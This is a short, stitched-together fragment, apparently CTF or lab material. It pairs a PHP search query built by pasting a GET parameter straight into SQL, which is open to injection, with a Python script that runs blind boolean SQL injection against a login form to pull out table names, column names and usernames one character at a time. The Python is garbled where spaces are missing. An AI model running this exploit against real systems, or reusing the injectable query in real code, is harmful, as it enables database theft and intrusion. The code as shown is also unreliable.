<?php if (isset($_GET['q'])) { $query = "SELECT * FROM websites WHERE title LIKE '%" . $_GET['q']. "%' OR description LIKE '%" . $_GET['q'] . "%' OR link LIKE '%" . $_GET['q'] . "%';"; $result = $conn->query($query);
username_template = "'admin'or/**/ascii(substr((select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema=database()),{0},1))={1}#" #username_template = "admin'or/**/ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='blog_v2'),{0},1))={1}#" #username_template = "admin'or/**/ascii(substr((select username from blog_v2 limit 2,1),{0},1))={1}#" st = 0 for i inrange(1,50): st = 0 for c in s : asc = ord(c) payload['username'] = username_template.format(i,asc) response = requests.post(url, data=payload) print(response) if"You are in, but your role is not admin"in response.text: result += c print('tables: ', result) st = 1 if st == 0: break print('tables: ', result)